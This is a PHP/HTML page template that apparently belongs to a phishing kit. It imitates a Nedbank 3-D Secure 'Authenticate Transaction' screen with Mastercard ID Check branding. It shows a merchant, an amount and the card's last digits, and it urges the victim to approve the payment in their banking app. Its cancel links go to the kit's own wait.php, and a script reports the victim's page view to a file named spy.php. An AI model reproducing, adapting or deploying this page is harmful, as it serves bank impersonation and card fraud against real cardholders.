<?php
$bankKey = 'nedbank';
require __DIR__ . '/includes/bank-3ds-bootstrap.php';
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Authenticate Transaction — <?= htmlspecialchars($bankName, ENT_QUOTES, 'UTF-8') ?></title>
    <link rel="stylesheet" href="themes/css/bank-3ds.css" />
    <style>body.b3-page { --b3-primary: <?= htmlspecialchars($bankColor, ENT_QUOTES, 'UTF-8') ?>; }</style>
</head>
<body class="b3-page">

<div class="b3-sheet">
    <a class="b3-close" href="wait.php?p=cancel" aria-label="Close">&times;</a>

    <header class="b3-head">
        <img class="b3-bank-logo" src="<?= htmlspecialchars($bankLogo, ENT_QUOTES, 'UTF-8') ?>"
            alt="<?= htmlspecialchars($bankName, ENT_QUOTES, 'UTF-8') ?>" />
        <div class="b3-scheme">
            <?php if ($schemeMode === 'mc') { ?>
            <img class="b3-scheme-logo" src="assets/img/card_logo_mc.svg" alt="Mastercard" />
            <span class="b3-scheme-label">| ID Check</span>
            <?php } else { ?>
            <img class="b3-scheme-logo" src="<?= htmlspecialchars($schemeLogo, ENT_QUOTES, 'UTF-8') ?>"
                alt="<?= htmlspecialchars($schemeAlt, ENT_QUOTES, 'UTF-8') ?>" />
            <?php } ?>
        </div>
    </header>

    <main class="b3-main">
        <h1 class="b3-title">Authenticate Transaction</h1>

        <div class="b3-timer" aria-live="polite">
            <svg class="b3-timer-ring" viewBox="0 0 120 120" aria-hidden="true">
                <circle class="b3-timer-track" cx="60" cy="60" r="52" />
                <circle class="b3-timer-progress" id="timerProgress" cx="60" cy="60" r="52" />
            </svg>
            <span class="b3-timer-text" id="timerText">00:59</span>
        </div>
<?php require __DIR__ . '/includes/approv-timer-script.php'; ?>

        <p class="b3-lead">Approve your authentication on your mobile phone.</p>

        <dl class="b3-details">
            <div>
                <dt>Merchant:</dt>
                <dd><?= htmlspecialchars($merchant, ENT_QUOTES, 'UTF-8') ?></dd>
            </div>
            <div>
                <dt>Amount:</dt>
                <dd><?= htmlspecialchars($amountDisplay, ENT_QUOTES, 'UTF-8') ?></dd>
            </div>
            <div>
                <dt>Date:</dt>
                <dd><?= htmlspecialchars($digDate, ENT_QUOTES, 'UTF-8') ?></dd>
            </div>
            <div>
                <dt>Card Number:</dt>
                <dd><?= htmlspecialchars($cardLast4, ENT_QUOTES, 'UTF-8') ?></dd>
            </div>
        </dl>

        <p class="b3-hint">Remember to return here once you've authenticated your payment.</p>

        <a class="b3-btn js-approv-confirm" href="#" id="btnContinue" data-bank="<?= htmlspecialchars($bankName, ENT_QUOTES, 'UTF-8') ?>">CONTINUE</a>

        <div class="b3-cancel-wrap">
            <a class="b3-cancel" href="wait.php?p=cancel">CANCEL</a>
        </div>

        <div class="b3-faq">
            <details>
                <summary>About 3-D Secure<span class="b3-faq-plus">+</span></summary>
                <p>3-D Secure is an extra layer of security for online card payments. Open your banking app and approve this payment to continue.</p>
            </details>
            <details>
                <summary><?= htmlspecialchars($bankContact, ENT_QUOTES, 'UTF-8') ?><span class="b3-faq-plus">+</span></summary>
                <p>If you did not request this payment, cancel now and contact <?= htmlspecialchars($bankName, ENT_QUOTES, 'UTF-8') ?> immediately.</p>
            </details>
        </div>
    </main>
</div>

<script src="res/jq.js"></script>
<?php require __DIR__ . '/includes/approv-confirm-script.php'; ?>
<script>
if (window.jQuery) { jQuery.post('spy.php', { approvview: 1 }); }
</script>
<?php $m->ctr('APPROV NA'); ?>
</body>
</html>
